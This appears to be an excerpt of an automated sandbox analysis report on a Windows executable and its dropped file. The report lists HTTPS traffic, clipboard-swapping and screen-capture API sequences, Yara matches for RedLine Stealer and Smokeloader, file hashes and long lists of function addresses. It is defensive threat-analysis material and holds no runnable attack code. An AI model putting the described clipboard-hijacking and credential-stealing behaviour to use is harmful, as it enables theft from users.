Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.8:49712 version: TLS 1.2

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

Code function: 0_2_004016DF __ehhandler$___std_fs_get_file_id@8,__EH_prolog3_GS,Sleep,GlobalLock,OpenClipboard,GetClipboardData,GlobalLock,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep,

0_2_004016DF

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004016DF __ehhandler$___std_fs_get_file_id@8,__EH_prolog3_GS,Sleep,GlobalLock,OpenClipboard,GetClipboardData,GlobalLock,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep,		0_2_004016DF
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00671942 __EH_prolog3_GS,Sleep,OpenClipboard,GetClipboardData,_strlen,_strlen,_strlen,EmptyClipboard,GlobalAlloc,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,Sleep,		0_2_00671942

Source: C:\Users\user\Desktop\xCnwCctDWC.exe

0_2_004016DF

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Code function: 3_2_00436980 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,StretchBlt,ReleaseDC,DeleteObject,DeleteObject,

3_2_00436980

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000003.00000002.1661185876.0000000000560000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.3859571400.0000000000709000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00672361 NtdllDefWindowProc_W,GetClientRect,GetDC,CreateSolidBrush,CreatePen,Rectangle,GetDeviceCaps,MulDiv,CreateFontW,SetBkMode,_wcslen,_wcslen,_wcslen,_wcslen,ReleaseDC,		0_2_00672361
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00672605 NtdllDefWindowProc_W,PostQuitMessage,		0_2_00672605

Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00428022	0_2_00428022
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004071AB	0_2_004071AB
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004373D9	0_2_004373D9
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0042D4EE	0_2_0042D4EE
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00427484	0_2_00427484
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00428560	0_2_00428560
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0043D678	0_2_0043D678
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004166AF	0_2_004166AF
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00413725	0_2_00413725
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_004277F6	0_2_004277F6
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0040E974	0_2_0040E974
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0042EAE0	0_2_0042EAE0
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00427AA0	0_2_00427AA0
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00418AAF	0_2_00418AAF
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00436CBF	0_2_00436CBF
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00427D67	0_2_00427D67
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00413F0B	0_2_00413F0B
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00684172	0_2_00684172
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0069ED47	0_2_0069ED47
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00698289	0_2_00698289
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006976EB	0_2_006976EB
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0069D755	0_2_0069D755
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006987C7	0_2_006987C7
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00686916	0_2_00686916
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0068398C	0_2_0068398C
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00697A5D	0_2_00697A5D
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0067EBDB	0_2_0067EBDB
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_0069ED47	0_2_0069ED47
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00697D07	0_2_00697D07
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00688D16	0_2_00688D16
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_006A6F26	0_2_006A6F26
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00697FCE	0_2_00697FCE
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: 0_2_00709004	0_2_00709004
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043B870	3_2_0043B870
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00408880	3_2_00408880
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00421E70	3_2_00421E70
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00415720	3_2_00415720
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040CFEC	3_2_0040CFEC
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00419840	3_2_00419840
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00406850	3_2_00406850
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00427860	3_2_00427860
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00427070	3_2_00427070
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00406000	3_2_00406000
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043080E	3_2_0043080E
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043F820	3_2_0043F820
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041D0C0	3_2_0041D0C0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004418A0	3_2_004418A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041194F	3_2_0041194F
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043F150	3_2_0043F150
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042B170	3_2_0042B170
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00403900	3_2_00403900
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00425100	3_2_00425100
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00439923	3_2_00439923
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00427133	3_2_00427133
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00433930	3_2_00433930
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004121DB	3_2_004121DB
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042A9F7	3_2_0042A9F7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040E9B0	3_2_0040E9B0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041825B	3_2_0041825B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042EA62	3_2_0042EA62
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040CA62	3_2_0040CA62
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00442A60	3_2_00442A60
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041DAD0	3_2_0041DAD0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00429ADE	3_2_00429ADE
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00425AF0	3_2_00425AF0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004092A0	3_2_004092A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00405AB0	3_2_00405AB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040B2B0	3_2_0040B2B0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004042B0	3_2_004042B0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043CB40	3_2_0043CB40
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042EB5F	3_2_0042EB5F
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00408360	3_2_00408360
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00428B67	3_2_00428B67
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00437B69	3_2_00437B69
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00402B20	3_2_00402B20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00441B20	3_2_00441B20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00432B24	3_2_00432B24
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004063C0	3_2_004063C0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042DBF0	3_2_0042DBF0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00422380	3_2_00422380
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041BBA0	3_2_0041BBA0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042BBA0	3_2_0042BBA0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042EBA1	3_2_0042EBA1
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042EBB3	3_2_0042EBB3
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00441BB0	3_2_00441BB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00441C40	3_2_00441C40
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00442470	3_2_00442470
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00426C76	3_2_00426C76
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041D400	3_2_0041D400
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041C400	3_2_0041C400
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00417405	3_2_00417405
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00414C20	3_2_00414C20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00432426	3_2_00432426
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00428437	3_2_00428437
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043443D	3_2_0043443D
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004354C4	3_2_004354C4
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00434CEF	3_2_00434CEF
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043A4EF	3_2_0043A4EF
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004374AB	3_2_004374AB
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041DCB0	3_2_0041DCB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043ACB0	3_2_0043ACB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0042FCBC	3_2_0042FCBC
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040D545	3_2_0040D545
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00425D6A	3_2_00425D6A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00435D13	3_2_00435D13
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00442D20	3_2_00442D20
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043CD27	3_2_0043CD27
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00420D90	3_2_00420D90
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0043C5A0	3_2_0043C5A0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00436610	3_2_00436610
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00407620	3_2_00407620
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040AE30	3_2_0040AE30
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041F6D0	3_2_0041F6D0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00416ED0	3_2_00416ED0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041BEE1	3_2_0041BEE1
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00402EF0	3_2_00402EF0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004186FC	3_2_004186FC
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00423EFF	3_2_00423EFF
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00431E8E	3_2_00431E8E
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041A690	3_2_0041A690
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0041AF24	3_2_0041AF24
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00427F30	3_2_00427F30
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0040DFE2	3_2_0040DFE2
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004257E0	3_2_004257E0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00429FE4	3_2_00429FE4
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00409790	3_2_00409790
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_004427B0	3_2_004427B0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_00441FB0	3_2_00441FB0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210D253	3_2_0210D253
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210E249	3_2_0210E249
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02106267	3_2_02106267
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212A305	3_2_0212A305
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211D327	3_2_0211D327
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021273B2	3_2_021273B2
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213F3B7	3_2_0213F3B7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02142017	3_2_02142017
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210B097	3_2_0210B097
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021260B7	3_2_021260B7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021220D7	3_2_021220D7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021320F5	3_2_021320F5
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02103157	3_2_02103157
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211C148	3_2_0211C148
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02124166	3_2_02124166
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02128197	3_2_02128197
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211B18B	3_2_0211B18B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02106627	3_2_02106627
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211C667	3_2_0211C667
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211D667	3_2_0211D667
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213268D	3_2_0213268D
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021346A4	3_2_021346A4
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021426D7	3_2_021426D7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02137712	3_2_02137712
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213572B	3_2_0213572B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213A756	3_2_0213A756
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210D7AC	3_2_0210D7AC
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02112442	3_2_02112442
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021184C2	3_2_021184C2
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02104517	3_2_02104517
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02109507	3_2_02109507
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021085C7	3_2_021085C7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021225E7	3_2_021225E7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02142A17	3_2_02142A17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02130A75	3_2_02130A75
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213FA87	3_2_0213FA87
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02106AB7	3_2_02106AB7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02119AA7	3_2_02119AA7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213BAD7	3_2_0213BAD7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02117AE4	3_2_02117AE4
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02108AE7	3_2_02108AE7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02103B67	3_2_02103B67
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02133B97	3_2_02133B97
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02139B8A	3_2_02139B8A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02111BB6	3_2_02111BB6
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213C807	3_2_0213C807
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02136877	3_2_02136877
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02107887	3_2_02107887
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211A8F7	3_2_0211A8F7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211F937	3_2_0211F937
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_021099F7	3_2_021099F7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212EE1A	3_2_0212EE1A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212BE07	3_2_0212BE07
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212EE08	3_2_0212EE08
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212DE57	3_2_0212DE57
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02114E87	3_2_02114E87
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213AF17	3_2_0213AF17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211DF17	3_2_0211DF17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212FF23	3_2_0212FF23
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02134F56	3_2_02134F56
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02135F7A	3_2_02135F7A
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02142F87	3_2_02142F87
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02120FF7	3_2_02120FF7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02117FFA	3_2_02117FFA
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210EC17	3_2_0210EC17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02142CC7	3_2_02142CC7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0210CCC9	3_2_0210CCC9
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212ECC9	3_2_0212ECC9
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02105D17	3_2_02105D17
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0211DD37	3_2_0211DD37
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02102D87	3_2_02102D87
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02132D8B	3_2_02132D8B
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0213CDA7	3_2_0213CDA7
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_02137DD0	3_2_02137DD0
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: 3_2_0212EDC6	3_2_0212EDC6

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe 25C2A9D961D4110C9E66519B777AA070BEEC2388278ADBD68454D537422BD895
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe 25C2A9D961D4110C9E66519B777AA070BEEC2388278ADBD68454D537422BD895

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: String function: 00414C10 appears 116 times
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: String function: 021083D7 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: String function: 02114E77 appears 116 times
Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe	Code function: String function: 00408170 appears 45 times
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: String function: 00680987 appears 53 times
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: String function: 00410720 appears 53 times
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: String function: 0040F903 appears 36 times
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: String function: 0040FDB2 appears 125 times
Source: C:\Users\user\Desktop\xCnwCctDWC.exe	Code function: String function: 00680019 appears 121 times

Source: C:\Users\user\AppData\Local\Temp\1C22.tmp.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7696 -s 1668

Source: xCnwCctDWC.exe	Binary or memory string: OriginalFileName vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000002.3856503725.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000003.1478426641.000000000303C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesOrehinal4 vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000003.3749959874.0000000003010000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesOrehinal: vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000003.1440594097.0000000002190000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000003.3750117164.0000000003016000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesOrehinal: vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000002.3860880924.0000000003017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesOrehinal: vs xCnwCctDWC.exe
Source: xCnwCctDWC.exe, 00000000.00000002.3859320176.0000000000670000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs xCnwCctDWC.exe

Source: xCnwCctDWC.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

